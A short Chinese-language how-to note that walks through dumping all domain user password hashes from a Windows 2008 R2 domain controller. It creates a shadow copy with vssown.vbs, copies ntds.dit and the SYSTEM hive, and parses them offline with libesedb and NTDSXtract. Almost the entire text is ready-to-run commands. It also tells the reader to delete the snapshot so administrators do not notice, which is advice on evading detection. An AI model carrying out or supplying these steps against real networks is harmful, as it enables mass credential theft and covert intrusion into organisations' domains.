完整导出域内用户hash小记 [vssown.vbs + libesedb + NtdsXtract]



本地测试环境:
    域控 2008 r2 64bit

离线利用linux提取域内所有用户hash,实际测试可行,不过文件确实有点儿大,用于测试的系统域内用户只有十个左右,却已经打了12M[按这样算的话,一千个用户也就将近1G],如果用户量特别大的话,可想而知,不过好在信息非常全:

1
vssown.vbs + libesedb + NtdsXtract

查看vssown.vbs帮助:

1
cscript vssown.vbs


第一步,启动服务:

1
2
cscript vssown.vbs /start
cscript vssown.vbs /status


第二步,创建快照:

1
2
cscript vssown.vbs /create C
cscript vssown.vbs /list


第三步,把SYSTEM和ntds.dit文件都复制回本地,如果比较多,下回本地确实有点儿麻烦:

1
2
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\system .
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\ntds\ntds.dit .


第四步,删除快照,这非常重要,千万不要忘了,不然被管理员看到就不太好了:

1
cscript vssown.vbs /delete *


1
cscript vssown.vbs /stop


第五步,在本地编译安装好libesedb 和 NTDSXtract,这里我把它俩都放到同级目录中了:

1
2
3
4
# ./configure
# make
# cd esedbtools/
# ./esedbexport ./ntds.dit 这里我已经把ntds.dit复制到当前目录下了


1
2
3
4
# mv ntds.dit.export/ ../../
# cd ../../
# cd NTDSXtract\ 1.0/
# python dsusers.py ../ntds.dit.export/datatable.3 ../ntds.dit.export/link_table.5 --passwordhashes '/root/SYSTEM' 这里的SYSTEM文件最好给绝对路径